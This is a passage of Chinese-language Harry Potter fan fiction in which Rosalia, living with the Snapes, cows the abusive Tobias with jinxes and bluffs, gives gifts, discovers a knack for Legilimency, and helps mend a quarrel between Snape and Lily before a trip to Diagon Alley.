他不太好骗。罗萨利亚想了想,只好抬手指向斯内普的头发,并在对方的脸色变得煞白和愤怒之前说:“你头发里有落叶。我想提醒你,但不知道怎么开口。”
斯内普立刻伸手去摸,果真抓到一片。他盯着那叶片皱起眉来,神情变得乱糟糟的,说道:“现在问题解决了,离我远点。”
罗萨利亚耸耸肩,往后退了一步示意他先走。
后半段路,他们一直保持着不远不近的距离,直到抵达门口,罗萨利亚才重新靠近了斯内普。
虽然他还是冷着脸,但什么也没说。
因此,艾琳夫人从楼上下来时,看到的就是两个挨在一起的小巫师。
她挥之不去的疲惫面色在看到这一幕时得到了缓和:“嘿……你们果真碰上了?我希望你们相处得很好?”
罗萨利亚一边换鞋一边回答:“还不赖。是吧,西弗勒斯?”
斯内普很轻地“嗯”了一声,仿佛是被逼迫着才从喉咙里发出这个音节。
“太好了。”艾琳夫人说:“我正要出门买点东西,应该会在托比亚回家前回来。你们就呆在家里吧。”
“好的,夫人。等会儿见。”
罗萨利亚让出了玄关的位置。
她没注意到的是,斯内普直到她转身背对自己的一瞬间,才飞快地脱下鞋,然后绕过艾琳夫人和罗萨利亚,躲进了卫生间。
罗萨
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利亚并不太在意斯内普干什么去了。她还有自己的事要做——目送艾琳夫人离开后,她就径直回到房间,从书架上挑选了一本初学者魔药典籍,开始了防患未然的魔药补习。
楼下,不多时,卫生间的门缓慢打开了。
斯内普湿漉漉地站在门口的地垫上,头发滴着水。他冲洗了自己,可清洁效果并不显著,而且身上依然套着脏兮兮的旧衣裳。
他拐弯去了厨房,找出生硬的面包片塞进嘴里粗暴咽下,不在乎嗓子剌伤般的疼痛。
如果罗萨利亚在,她一定会惊叹:此人仿佛只活一个生命体征。
吃完面包片,斯内普似乎好点了。他想到了什么般,轻手轻脚地走向楼梯间——楼梯间的门锁着,他就趴在门洞上往里看:
里面,母亲常用的魔药用具以及原来的旧课本都已经不见,剩下的那些仪器都是比较冷僻的工具。
半晌,他直起身,面无表情地向自己房间走去。
罗萨利亚是在一记巨大的摔门声中惊醒的。
她几乎被吓得一哆嗦,醒来时完全不知道自己身在何处,呆坐了半天才想起来:这里是蜘蛛尾巷,而下午的时候,魔药书如生死水般轻松把她放倒了。
现在几点了?外面是什么情况?
罗萨利亚活动活动肩膀。窗户外,太阳几乎落下。
斯内普家的隔音并不算好,她把耳朵贴在墙壁上,能依稀听见一个男人叫嚷的声音:“饿死我了——晚饭呢?我每天饿得要死,你却还在煮你那臭哄哄的魔药?”
听起来这就是斯内普的父亲,托比亚·斯内普。
紧接着响起的是艾琳夫人颤抖的声音:“你小声一点,托比亚!今天拉文谢德家的孩子住进来了。”
“你在威胁我?”
“我只是提醒你!别当着外人的面!”
仿佛有所顾忌般,托比亚的声音低沉了下来。罗萨利亚为了听清他的话,整个人直接趴在地板上。
“你少用这种语气……她是……那又如何?我照样……提醒我了……收养她……那笔抚养费呢!”
“你别想……那是加隆……巫师的钱……寄存在古灵阁中……每笔花销都……只有两个孩子能……”(1)
“什么——我是为了……忍受你一天到晚……乱七八糟的药瓶……你现在竟然……我们不能花……只有两个孩子……那有什么用!”
“……没有这些……就没有我的工资……你从没考虑过儿子……”
“不许你这么跟我说话——”
罗萨利亚听不下去了。
既然这是自己引发的蝴蝶效应,那就让她来处理吧。
她起身从手提箱拿出自己准备的三份礼品盒,并打开了最小的那个。盒子里面躺着的是,一把精美但低调的宝石剃须刀。她轻轻挥舞魔杖,在上面下了一个魔咒:托比亚一旦使用它接触自己的脸颊,准会因为忍受不了突发的瘙痒而疯狂抓挠。
当然,这还不算完。
她把剃须刀重新装好,拿着托比亚的“礼品”和自己的魔杖走出房门。
在路过斯内普房间时,她脚步一顿。罗萨利亚看到斯内普的影子正紧贴着门缝。
她毫不犹豫地拧动把手,房门果然没锁。斯内普被罗萨利亚打一个措手不及,但又因为不想暴露自己而硬生生憋住声音。
罗萨利亚不想猜他有没有在心里骂自己,只是挑眉,用口型说道:
【出来看好戏。】
斯内普慌乱又愤怒的神情僵住了。
5. 送你的礼物
斯内普下午不是问她,是怎么悄无声息地吓唬他和莉莉的吗?这回他可以看清了:罗萨利亚轻轻跃起,双脚凭空悬在空中迈步,一眨眼便飘到了楼梯上。整个过程在她的控制下没有发出半点动静。
紧接着,她朝着下面的人举起了魔杖。
斯内普的眼睛微微睁大,没有意识到自己脸上正流露出一丝隐秘的兴奋。
这可是身上没有踪丝的最后一个暑假了。不好好利用一下怎么行?罗萨利亚眯着眼心想:不能枉费她来之前抱佛脚学的魔咒呀。(1)
于是,她清晰地喊道:“唇舌无踪!”(2)
这一声吓坏了艾琳夫人,她完全没想到会在家中听到除自己以外的人念咒——而且还是一个恶咒。
她惊愕地抬头看向罗萨利亚,又扭头看向她的丈夫。此刻,托比亚那张因为破口大骂而阴沉扭曲的脸瞬间发紫了,他想要说话,却只能从喉咙里发出“呜呜”的声音。
如果立一面镜子到托比亚面前,他一定会吓晕过去:因为此刻他的嘴巴已经消失了。
罗萨利亚大喊:“别怕!艾琳夫人!让我来收拾这个混账——双腿瘫软!”
下一秒,托比亚“扑通”跪在了艾琳夫人面前。
艾琳夫人惊呆了。
罗萨利亚“噔噔”跑下楼,把艾琳夫人护在身后,说道:“您没事吧?真吓人,要不是我想找西弗勒斯说话……这个坏人是怎么进到家里来的?”
艾琳夫人有些混乱了:“不、我没有……不,等等,罗萨利亚,这是……这是你托比亚叔叔。”说到最后,她声音有些微弱。
再看托比亚,他挥舞着双臂,显然已经快被气晕过去了。
罗萨利亚惊讶捂嘴:“梅林的胡子!真的吗?我完全没认出来!我犯下了天大错误,我得给您道歉。”
“罗萨利亚,你快给他解开咒语吧!”艾琳夫人的魔杖并不在身上,她想要去搀扶托比亚,却被忽然上前的罗萨利亚挡在后面。
“好的,夫人。”
魔杖挥舞过后,咒语解开了。
罗萨利亚低头看着托比亚泄气地跌坐在地上低头大口喘息,她背对艾琳夫人和斯内普,垂下眼睫展露出蔑视的一瞥。
然而,此刻她的声音却听起来有十分的真诚:“请务必原谅我,托比亚叔叔。”
托比亚咳嗽着:“我要……小心……被学校开除……坐牢……”
“噢您真是太体贴了,还考虑到了这个。您不用担心我。”罗萨利亚假装没听懂,还愉快地说:“我家在学校和魔法部都有人,我不会因此被开除或者被送去坐牢的。”
她看着瞠目结舌的托比亚,贴心地补充道:“而且大多数时候是不会走到那一步的。毕竟举报信还没上路,我就会让家养小精灵来处理掉那个不自量力的举报者了。”
这一番话把艾琳夫人都唬住了,她愣愣地问:“家养小精灵?”
“没错。”罗萨利亚打了个响指。下一刻,身穿仆从衣裙的家养小精灵劳伊就出现在了客厅里。她看起来很激动,连声音都更显尖锐:“主人召唤了劳伊!主人召唤了劳伊!请问主人有何吩咐?”
托比亚看上去快被眼前这只外星人般的生物吓死了。
“你什么都能为我做吗,劳伊?”罗萨利亚挑眉问道。
“万死不辞!”劳伊回答。
“好孩子,你回去吧。”
“是。”
劳伊又消失了。
客厅陷入了死一般的沉默。
“至于我不在的时候——渡鸦就是我的眼睛。”罗萨利亚温和地笑了笑,喊道:“穆宁。”
“嘎——”一声嘶哑难听的叫声传来,渡鸦从窗外飞了进来,落在罗萨利亚的手臂上。
她轻柔地抚摸着穆宁的脑袋,说:“我们家族饲养并训练渡鸦。这是一种很聪明的鸟,而且很常见。相信我,纺织街的每一只渡鸦,都能替我通风报信——哦天呢,我光顾着说话了,您快起来,别跪着了。”
罗萨利亚的神情一下子变得歉疚非常。她抬手让穆宁飞走,走上前搀扶托比亚,后者近乎微弱地挣扎了一下,随后就变得一动不动了。
她继续说:“都是我的错,托比亚叔叔,正好,我这里有个礼物,就当是给您的赔礼……虽然,我本来是打算留给西弗勒斯的,但它价值不菲,或许您更配得上它。”
托比亚听后一愣,旋即展露出贪婪的目光,他望向一直在楼梯上旁观的斯内普,仿佛在为霸占属于别人的东西而洋洋得意。而抖着手打开礼盒后,他全部的神色就直接被喜悦所替代了——镶嵌宝石的剃须刀,无论如何都价值不菲——这些到手钱财已经彻底买断了他的愤怒与恐惧。
罗萨利亚把托比亚的反应统统收入眼中,心道一声果然。
……不知道他今天早上抢斯内普的早餐时,是否也露出过这么令人恶心的表情。
艾琳夫人显然也看见了这把剃须刀,她下意识感叹:“这太贵重了。”
托比亚看上去舒心极了。
他终于找回了自己的嘴巴,说:“看在礼物的份上,我勉强……”
就在这时,空气中弥漫出一股焦糊味。艾琳夫人回想起什么,慌张大喊一声“晚饭”,就转身钻进厨房。
这顿饭,四个人吃得各有心事。
托比亚吃完便捧着礼盒慌里慌张又急不可耐地跑上楼了。餐桌上剩下了脸色沉重的艾琳夫人、面无表情的斯内普和神情愉悦的罗萨利亚。
终于,艾琳夫人开口了,她完全褪去了白天笨拙的伪装,用很小的声音说:“罗萨利亚,关于你说的话……还有家养小精灵和渡鸦的事……?”
当然都是她编的,拉文谢德家的人几乎都死光了,罗萨利亚哪有那么多靠山倚仗,而且,她不可能真的让家养小精灵谋杀麻瓜,也做不到控制所有的渡鸦——但出门在外,身份都是自己给的。
罗萨利亚含糊地说:“夫人,我总得有一两个保障自己的人身安全的方法吧。但您放心,在这个前提下,我绝不会违背您的意思。”
“既然如此,你下次就不应该……你下次绝对不能再对麻瓜使用魔咒,也不能当着他们的面使用魔法,尤其在你是入学之后。”艾琳夫人艰难地说道:“至少,我现在还负责监护你……这是我对你的要求。”
罗萨利亚露出一个小孩因犯错遭受批评后的神色:“我知道错了,艾琳夫人——”
“抱歉,亲爱的……”
忽然,艾琳夫人把手盖在罗萨利亚的手上。她深深地看了她一眼,然后慢慢开口说:“今天是你来这儿的第一天,我本想……本想给你留一个好印象,结果却把这一切都搞砸了。”
“这不是你的问题,而且我觉得没什么糟糕的。”罗萨利亚认真地说。
艾琳夫人眼中闪烁微光,可她很快又避开了罗达莉亚的注视,道:“总之,下次你就和西弗勒斯一样,呆在楼上就好。”
斯内普吃饭的动作停顿了。在罗萨利亚的余光里,他捏着汤勺的手有些发白。
“那可不行。”罗萨利亚收回手,艾琳夫人因此有一丝慌乱。她煞有介事地说:“再有下次,至少我得下楼把您的魔杖递给您——万一真有坏人来呢?对巫师来说,有了魔杖,一切就好处理多了,哪怕只是拿来吓唬吓唬对方。”
话音刚落,她就在余光里看到旁边的斯内普浑身一松,就仿佛终于气顺了一般。而艾琳夫人却像从未有过此类想法般怔在了原地,嘴形几乎是个“不”字。
“对了。”罗萨利亚没有给对方说出口的机会,她站起身说:“请允许我上楼拿些东西。”
她行动很快,眨眼间就捧着两个礼品盒回来了。
“你这是——”艾琳夫人马上意识到什么,她连忙朝楼上的某个方向望了一眼,似乎想确认卧室的门是否紧闭。
罗萨利亚笑了笑,说道:“请原谅
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我吧,夫人。我撒了谎。其实我从一开始就准备了三份礼物——请您不要拒绝,这本魔药书是我的家族先辈玛丽安娜夫人的画像强烈要求我赠予您的。”
“哦……梅林的胡子……”艾琳夫人用手抚摸魔药书的封面,喃喃道。
“还有这个。”
斯内普的视线范围内出现了一个方正宽大的礼盒,他抬头看向罗萨利亚。
“送你的礼物。”罗萨利亚说:“拆开看看?”
斯内普打开了礼盒。一张纸条伴随涌入礼盒的空气翻滚着飘起,又重新落下,上面写道:
【够狡猾吗?】
罗萨利亚托着腮,好整以暇地看着斯内普伸手快速把它攥进手心,试图表现得若无其事,可直到艾琳夫人好奇地询问礼物是什么,才懊恼般地重新看向盒内的东西——他似乎都没能注意到纸条下面真正的礼物:
那是一整套包装良好、崭新且平整的衣装,甚至还包括了鞋袜。
罗萨利亚笑眯眯地说:“劳伊特别擅长裁缝,我的衣服也是出自她手,因为不知道你喜欢什么,我就按照自己的想法准备了这些——它们都按照全家福照片的比例调整的尺寸,你可以……”然而,说着说着,她慢慢直起身子,脸上的笑意淡了下去,问:“你怎么了?”
斯内普好像有点不对劲。罗萨利亚盯着他心想。
……他为什么好像在发抖?这是怎么回事。
斯内普深吸一口气,站了起来。他似乎想走,但脚却没有挪动,只是语气嘲弄地看着她说:“你最好在上面施加过防护咒语。”
什么咒语?这到底怎么了?她不是才把他身上的毛顺了一遍吗?罗萨利亚直接望向艾琳夫人,却意外地在对方的脸上捕捉到了同样的表情。
她正想开口询问,谁知忽然之间,怪异的事情发生了:
一幅幅画面在罗萨利亚眼前争相涌现,渐渐地,她仿佛看到了托比亚清晰的身影——
他从自己手中抢过几件衣裳,将它们中本就破烂的一些撕得粉碎,又把幸免于难的那些塞给了门口回收二手衣服的小贩,又一边数钱、一边故意嚷嚷道:“为什么要给一个青春期的混蛋买衣服?反正长高后衣服就穿不上了,让他现在这样不就挺好的?”
然后罗萨利亚听见了艾琳夫人的声音——自己好像正附着在对方的身体里:“别这样……托比亚……他是你的孩子……”
这话一脱口,罗萨利亚就感觉自己快被一种巨大的痛苦淹没了。
“闭嘴!再让我看见他身上出现好衣裳——尤其是比我身上还好的,我就……”
画面中断了。
罗萨利亚的脑子在这一瞬间转得飞快。一个词紧接着浮上她心头:摄神取念。
可是她既没有挥舞魔杖、也没有念咒。她是怎么做到的?想法一出,不知怎的,凯瑟琳夫人的身影在罗萨利亚脑中一闪而过。
难道……她屏住了呼吸。
……现在不是发散的时候。罗萨利亚控制住自己内心的错愕,努力维持面上平稳的表情。她看向艾琳夫人——对方似乎没有察觉任何异常——又想起下午斯内普听到她那番“吃的少长不高”的发言后一下子冷掉的脸。
不止如此,还有原著里那些零散的描写……
罗萨利亚大概明白了。
托比亚恐怕一直以来都在打压艾琳和斯内普,这种不安氛围成为了他们母子的阴影,二人变得像被拴住脚的大象一样——这一点在艾琳夫人身上尤为明显。她甚至还受到魔法条令的约束。
至于斯内普,他或许厌恶过自己的狼狈,却不得不保持现状来换取“正常”生活。他的母亲也无力帮他摆脱这一点。(3)
罗萨利亚很想冷笑。
但现在她必须说点什么了。
于是,罗萨利亚抬头望向斯内普双眼。那片漆黑中有她不想读懂的情绪。
“不需要,”她缓缓道,“有我在呢。”
6. 麻瓜与巫师
潮湿的夜晚,万物沉睡。
蜘蛛尾巷里却有一双眼睛圆圆地瞪着天花板。
斯内普像一具规整的木乃伊,直挺挺地躺在床上,仿佛被什么无形地东西给束缚住了似的。可紧接着,他突然坐了起来,从枕头下面把一团皱巴巴的东西抽出来了。
他熟练地把它抚平,拿在手里盯了好一会儿,终于,动了动嘴唇说:
“她的字怎么这么丑。”
纸条又被揉成一团塞了回去。
斯内普慢吞吞地爬下床,半趴在地上望向床底。灰尘之间,一个干净又漂亮的礼盒正格格不入地呆在那里——那是他丢进去的,不像某个人,牵强附会也要找借口来蜘蛛尾巷。
斯内普伸出胳膊,那礼盒颤动着飞到手里了。他站到一旁,将角落里的外衣、衬衫和裤子踢得更远了一些,随后动作迟缓地换上了那套新装扮:
新的衬衫是墨绿色的,材质细腻;裤子宽松,从腰部展开垂下,又不至于完全盖住那双舒适的羊皮鞋;袜子们摸上去薄而柔软;而黑色针织外衣较厚,一看便知道是秋冬款式——它们的尺寸完全合身。
斯内普低头摆弄衣袖上的扣子,费了一番功夫才将它们扣好。不过很快,他又把上衣连同身上的其他衣物都脱了下来,就好像对它们完全不在意似的。
礼盒被重新塞入床下,斯内普也躺回了床上。他翻了个身,像了却一桩心事般缓缓闭上眼睛睡着了。
再醒来时,首先听到的是托比亚的凄惨叫喊。
斯内普拧着眉头,把眼睛闭得更紧了些。然而,很快,艾琳慌张的声音也顺着墙壁爬到了楼上。
他只好睁开眼从床上坐起来,换好衣服打开房门查看——却没想到一个穿着白色睡衣的身影已经垫着脚扒在楼梯扶手上在往下窥视了。
“……罗萨利亚?”
罗萨利亚闻声回头:“西弗勒斯。”
斯内普说:“你又施了什么魔咒。”
罗萨利亚得意洋洋地凑过来承认了罪证:“接触即发作的痒痒咒,可惜是一次性的——这是我从书上学来的。我猜托比亚没忍住,用剃须刀直接挠了下巴。”
她看到斯内普像被噎住般沉默了。
“……我以为他会直接卖掉。”他用耳语小声说道。
罗萨利亚摇摇头,解释道:“反正卖掉就是二手,用一次再卖也不亏。现在我猜艾琳夫人要带他去医院了。”
“……我建议你见好就收。”
“放心吧,他发现了也不能拿我怎么样。”
“……”
斯内普关上了房门——下一秒他又推开了。
罗萨利亚还在原地站着。
“我今天会去找莉莉。”斯内普道。
罗萨利亚读懂了他的意思,耸耸肩:“有点遗憾,我今天有其他的安排了。”
闻言,斯内普的眉头皱起来了:“你昨天才说今天要找她的。”
罗萨利亚解释得十分理直气壮道:“我说的‘明天’只是一个象征未来的词。”
斯内普:“你上过学吗?”
罗萨利亚抬手虚挡住他的嘴:“没上过,休战吧,好吗?”
斯内普收起蛇信子,重新关上房门。
罗萨利亚揉着眼睛回到自己的房间。
昨天一整晚,她几乎都在思考摄神取念的事。
终于,在回想了哈利波特世界观的相关细节后,她总算理出了一条能说通的解释:
这一切都要回到凯瑟琳为什么能发现她女儿换了芯子的问题上来。能明确的是,对方肯定是因为察觉到异常才会对她施展遗忘咒。但她又是怎么察觉的呢?或许就是依赖了摄神取念:凯瑟琳当场看穿了她这个冒牌货的前世记忆。
可凯瑟琳显然不是一个摄神取念大师,她甚至都没接受过霍格沃茨的教育——那么在这种情况下,答案似乎就只剩下一种了:
摄神取念对凯瑟琳来说本身就是一种信手拈来的能力。
她是一个天生的摄神取念者。
现在看来,她的这种能力也遗传给了罗萨利亚——这就能解释她为何会从艾琳夫人那看到那些记忆了。
至于自己之前为什么一直没发现……罗萨利亚心想,这很可能是受了遗忘咒的影响。
不论怎么说,这都是一个还算不错的惊喜。
尽管这种能力比起后天的魔咒术法来说更不容易控制,但明显也比它更强大、稳定、灵活,更重要的是——施展时难以被人察觉,当然,前提得是对方和艾琳夫人一样,没有修习过大脑封闭术。(1)
但话又说回来,小心驶得万年船,若是不慎,这种能力也是能给她招来灾祸的……尤其她现在还没什么战斗能力……
这么想着,罗萨利亚躺在床上翻来覆去,思绪越飘越远,困意最终席卷了她。
……
“西弗勒斯,你说真的吗?”
莉莉怀疑地看着他,问:“是罗萨利亚不想来,还是你没叫上她一起?”
“她自己说不来的。”斯内普道:“你为什么不相信我?”
莉莉解释道:“不是我不相信……但你们俩昨天一见面就吵架——你昨天回去后,没有再惹罗萨利亚生气或难过吧?”
斯内普抿抿唇,说:“当然没有。”
“真的?”
“……就是没有。”
“莉莉,你到底是希望西弗勒斯和罗萨利亚吵架,还是不希望他们吵过架?”远远地,佩妮不嫌事大地插嘴。
莉莉把手放在耳朵边问:“你说什么?”
佩妮从秋千上跳下来,不依不饶地大声喊道:“我说,你现在不是这个镇上唯一的小女巫了!”
莉莉瞧着有些生气了:“佩妮,你怎么这样想我——我为什么要在乎这个?”
可是佩妮紧接着说道:“但我是你永远的姐姐!”然后,她嫌恶地看了斯内普一眼,仿佛对方是一块甩不脱的口香糖。
“就让她们俩去霍格沃茨吧!”佩妮认真地看着莉莉,说:“莉莉,留下来,和我去上学。”
莉莉的眼神从羞恼变成了感动,又慢慢褪变为难以言说的心虚:“我们会一起去霍格沃茨的,佩妮……”
佩妮似乎没有听清莉莉在说什么,她只是站在稍远的地方看着自己的妹妹和斯内普,眼神从期待一步步转向沉默,最终眼尾慢慢耷拉了下去。
她说:“行了!莉莉!我看清你了。”
佩妮转身跑走了。这一次她没有停下等莉莉。而莉莉也没有像从前那样追上去。
“不用理她,”斯内普冷冷道,“她是个麻瓜,本来就和我们不是一类人。”
听罢,莉莉像被点燃了似的,怒火噌地烧了起来。她猛然扭过头,深红色的头发衬得她如一头小狮子:“西弗勒斯·斯内普,什么叫‘她是个麻瓜所以我们不是一类人’?这和她是不是麻瓜有关系吗?我们是朋友!”
“换句话说,如果我是麻瓜呢?你会继续和我做朋友吗?如果罗萨利亚是麻瓜呢?西弗勒斯?”
被吼了的斯内普呆站在原地,像是没想到莉莉竟会突然变得如此生气,他只是干巴巴地说:“可你们不是……”
“我们不是?我们和麻瓜唯一的不同就是会用魔法罢了!”莉莉的脸憋得更红了。
“不,就是不一样。”斯内普低声道。
“你说啊,除了魔法哪里不一样?”莉莉不服气地道:“你为什么总是把麻瓜说得一无是处?”
“因为他们本来也什么优点。”斯内普脱口而出。
“你只
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是没看到罢了!”莉莉尖声道。
“没错。”斯内普快速地道。
莉莉望着斯内普,像是想起什么般,忽然压低眉毛,低声质问:“你之前跟我说,麻瓜出身也不会有什么不同。你现在说的话又是怎么一回事?”
斯内普张了张口:“……不是的,你是巫师,这就足够了。”
莉莉瞧着斯内普执拗的模样,失望般垂下了肩膀,说:“算了,我不想和你说了——要是今天罗萨在就好了,她一定站在我这边。”
说完,这头小狮子摇摇晃晃地离开了。
斯内普在原地站了好一会儿,才低低地道:“那可不一定……”
昏睡了大半天的罗萨利亚饿醒了。
她迷迷糊糊前往厨房找吃的,却忽然被一只手拦住了去路——她被吓得一激灵,顺着那只干瘦的胳膊看清了来人:是斯内普。
他什么时候回来的?
然而,还没等她说一个字。斯内普就突然自顾自地开始说了起来,什么莉莉、什么麻瓜的,罗萨利亚被迫罚站住听完了一大段话。最后,她潦草地做出了总结:斯内普和莉莉吵架了。
“所以你是站……你是怎么看的?”斯内普问。
罗萨利亚觉得荒谬,她不是才来这儿一天?难道她没来之前他们就从不吵架吗?她清清嗓子,说:“我很饿,要不你先给我弄点东西,我吃完后会慢慢说的。”
“我不会。”斯内普从嗓子里挤出几个音节:“你应该自己想办法。”
罗萨利亚认命地打开冰箱,说:“好吧,那这就是我的答案。”
“什么?”斯内普问。
罗萨利亚翻出一个番茄和一片面包:“我的看法是,这题我不会,你们自己想办法解决。”
“你不能装傻。”“可我说这么多道理有什么用呢?”
罗萨利亚扭头看着斯内普的眼睛说:“别告诉我,你难道不明白?”
“你们完全不一样。你们立场不同。你们不是一路人。你们彼此的经历以及经历形成的观念,是没办法达成统一的。”
“……你胆敢这么说。”
罗萨利亚看到斯内普正在因为她尖锐的“不”字而变得摇摇欲坠。
她收回目光,专注地切着番茄,道:“但大家能做朋友是因为选择了双向包容,而不是因为相同——总之,我不想当挑拨你们关系的小人,而且组织语言会分散我的注意力,我会切到手。”
厨房内只剩下砧板的脆响。就在罗萨利亚几乎以为这个话题结束了的时候,一句几乎淹没其中的耳语问道:“那你的立场呢?”
可发出这问题的人没有等罗萨利亚回答,就甩着宽大的衣服扭头走开,试图用一阵“噔噔”的上楼梯声掩盖任何可能的回复,所以也就没注意到她切菜的手立刻停顿了。
此后整整一周,斯内普都在避免和罗萨利亚讲话。他们为数不多的交谈,仅限于前者要到她房间里拿魔药书看。
不过她很快就获得心理平衡了,因为莉莉也不跟斯内普讲话。
这天,莉莉突然出现在蜘蛛尾巷的时候,斯内普的眼睛都睁圆了。可莉莉只是在窗外喊道:“罗萨——”
于是罗萨利亚在斯内普怨恨目光的注视下,蹦跳着出去找莉莉玩去了。
然后她就了解到了那天他们争吵的完整版。原来事情的起因是佩妮和莉莉的矛盾——斯内普完全没提这个。
她记得这完全是原著手笔吧。罗萨利亚感觉自己遭受了无妄之灾。
游戏场里,两个女孩坐在一起。
“你觉得是我说得太过分了吗?”莉莉说这话时明显有些难过。
罗萨利亚摇头:“西弗勒斯说得也不客气。但你们都没错。因为你们两个其实聊的根本就不是一件事。”
7. 对角巷与火车站
莉莉有些懵懂地看着她。
罗萨利亚能感觉出来她在试着理解,于是继续温声解释道:“莉莉,对你来说,麻瓜意味着姐姐、父母、友好的邻居、会和你打招呼的路人——你爱他们、喜欢他们,所以当西弗勒斯那么说的时候,你有十足的理由生气。你觉得他忽视了你珍视的东西。你期望他能理解你。”
“是这样的……”莉莉小声说。
“但是莉莉,你是否注意到自己也忽视了西弗勒斯的处境?”罗萨利亚望着有些发愣的莉莉,耐心地说:“你能否明白,他也对你同样抱有期望?”
莉莉的眼睛突然眨了眨,像是想起了什么一般:“你是说他的家——”
罗萨利亚在嘴边比了“嘘”的手势,说道:“让我们来换个说法吧。”
“对你来说,路边的石头不过是石头本身,可对一个老被石头绊倒的人来说就不同了——那是能把他的腿磕破的东西。所以,他一见到石头就会变得警惕、愤怒,甚至会产生敌意,还会告诉每一个路过石头的人要小心。”罗萨利亚微笑注视着莉莉:“如果说,这样一个人,再三向你强调要远离石头,本质是因为什么呢?
“……因为,他怕我也会被绊倒、受伤。”莉莉缓缓接上了话。
罗萨利亚道:“是的,莉莉,西弗勒斯其实也是关心你的。”
“原来是这样……我好像懂了。”莉莉动容地说:“但他这样真的——很容易让人误解啊……”
“这倒是。他说话确实不好听。”罗萨利亚对此表示赞同。
“好吧,我知道他了——其实,我也是关心他的。”莉莉抱着膝盖,又有些惆怅地说:“也许我也让他误解了……”
罗萨利亚拍拍她的背,道:“西弗勒斯会理解的,你们两个只是需要多沟通。以后慢慢来吧,会越来越好的。”
“……嗯!好!”莉莉笑了,明显比刚刚高兴了不少,她说:“罗萨,听你讲话,我感觉好受启发。你好聪明,能看到别人看不到的东西。我猜你一定是个拉文克劳——我听西弗勒斯说过,拉文克劳是一个代表智慧的学院。”
“说起来,我们家的人确实世代都是拉文克劳。”
“真的吗?那拉文谢德和拉文克劳姓氏的相像也许不是巧合吗?。”
“你也很聪明,莉莉,拉文谢德正是罗伊纳·拉文克劳创造的姓氏……”
……
与莉莉聊完的这天傍晚,罗萨利亚和斯内普的冷战也结束了。
虽然斯内普看上去仍有些别扭,但确实开始主动找她说话了。他说:“一会儿妈妈要制作魔药,我会在旁边帮忙。鉴于你自己说过对魔药感兴趣——希望你没把这个忘了——所以,要不要一起?”
罗萨利亚心想,这大概是因为他“一不小心”听到了什么吧——就跟当初偷看阿莱西奥写给艾琳夫人的信那样。
就是不知道这一次他又对她产生了什么评价。
三口坩埚冒起了袅袅热气。
虽然艾琳夫人并没有真的教学的意思,但她还是会用细密的话解释每一个步骤。她目前在熬制三种药剂,其中一种就是罗萨利亚的遗传病稳定剂。本来,罗萨利亚还抱着学习的想法,谁知别说稳定剂了,另外两款药剂的制作她也一个字都没听懂——那些学名也太陌生了。
罗萨利亚实在有点听累了,于是开始偷看斯内普,她不信他都能听懂……应该不可能吧——结果被对方抓了个正着。
斯内普仿佛终于确定她看他的眼神是什么意思了——罗萨利亚发现一种名为得意的神色正在他脸上浮现出来。
果然,趁艾琳夫人观察记录完魔药的状态的空档,斯内普清清嗓子说:“有什么不会就问。”
而罗萨利亚一边分拣瓶瓶罐罐,一边慢吞吞地道:“单词不会。”
然后就是长久的沉默。
罗萨利亚偷瞥斯内普,只见后者脸上堆积着困惑和难以置信,她在心底悄悄笑了。然而,笑完,她又后知后觉地心想,大事不妙——自己刚才是不是轻轻掐死了斯内普教授幼年的教学欲望?
看起来是的,因为斯内普马上说:
“你真擅长让我无言以对,罗萨利亚。我希望上魔药课的时候我们不会被分到一组。”
……
今年,蜘蛛尾巷的夏天过得格外快,所有人都这么觉得——除了托比亚。
自那天后,托比亚不是没有蠢蠢欲动的时候,然而纺织街随处都有盯梢的黑鸟,不详的叫声从未断绝。只要他稍微提高嗓门,或者动作幅度大一些,渡鸦们就会尖叫起来,甚至聚在一起围攻他。有一次,他差点被啄伤了眼睛。
他甚至偷偷报过警,可警察却骂他是精神失常,并且,这件事还被罗萨利亚发现了。她当着艾琳夫人和斯内普的面,非常友好地询问对方:“叔叔,你报警干什么?遇到什么困难可以和我说啊。”
于是托比亚彻底消停了。
他安静地回到自己房间,除了上班、吃饭和去厕所外,几乎没有再走出房门。
八月底,霍格沃茨开学在即。
首先完成开学用品采购的是莉莉。因为她父母都是麻瓜,所以需要在霍格沃茨为她安排的接引人的带领下前往对角巷。
其次就是斯内普和罗萨利亚。
本来,根据之前邓布利多教授来信中的安排,麦格教授会作为罗萨利亚的接引人辅助她完成采购,但鉴于罗萨利亚此刻住在蜘蛛尾巷,艾琳夫人便写信给校方,申请由自己带领她前往对角巷及九又四分之三站台。
已经了解到这层监护关系的邓布利多教授对此乐见其成,回信表示他很期待在学校看到两位孩子。祝她们一路顺风。
去对角巷的那天,斯内普毫无征兆地换上了罗萨利亚送的那套衣服,就这么给了所有人一个惊喜——托比亚面色不虞,脱口就问这是哪儿来的,但在听到罗萨利亚慢悠悠说完这是她送的之后,就又把嘴巴闭上了。
艾琳夫人则一路都在揉着眼睛偷看斯内普:没有了显眼而丑陋的旧衣,他完全融入了街上那些摩肩擦踵的巫师。而新衣的款式和剪裁又让他看上去稍显不同,就连长袍专卖店的摩金夫人也忍不住夸赞他这一身好看——顺便还在替斯内普量体裁衣时叮嘱他挺起腰来好好走路——罗萨利亚心情愉悦地表示赞同。
在那之后的其他物品采购,都是由斯内普来负责的。他显然用不着任何人操心。把从古灵阁取出的部分抚养费交给二人后,艾琳夫人便去翻倒巷继续推销魔药了。而斯内普带着罗萨利亚四处采买,仅仅半天,就将二人的推车都装满了。
罗萨利亚相信,清单上所要求携带的全部物品——除了斯内普自己认为用不上、不想养的猫头鹰外——他们绝对一个都没落下,甚至还有多的部分:比如她在丽痕书店挑选的两本《诅咒与反诅咒》,斯内普看了一眼就放进推车了。
二人守着小山似的用具停在路边,等待艾琳夫人回来。斯内普正注视着自己的魔杖发呆。罗萨利亚猜测,他大概在回想奥利凡德魔杖店的经历:
“十三英寸长……紫杉木……嗯……很奇妙,非常奇妙。”奥利凡德浅色的眼睛注视着斯内普,说:“龙心弦的,不易弯折……相当有天赋,而且意志强烈,你能干成一番大事的,但是……不要忽视你同样强烈的情感……因为有时,命运只在一念之间……”(1)
不论未来怎么样……罗萨利亚看着斯内普,心想:至少现在,他和她拥有一样崭新的巫师袍、课本和器具。这也算是自己给他带来的一点好的改变吧。
本来,罗萨利亚还想问问斯内普对这套衣服的评价,可话还没说出口,一个背对他们、和朋友嬉笑打闹的小巫师就带着他的甘草魔杖直接朝斯内普身上撞去——好在斯内普反应够
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快,挥杖将糖棒打碎了。
斯内普冷着脸,毫无歉意地对那个呆滞的小巫师说:“戴好你的眼镜,去奥利凡德那儿再买一根结实点的吧。”
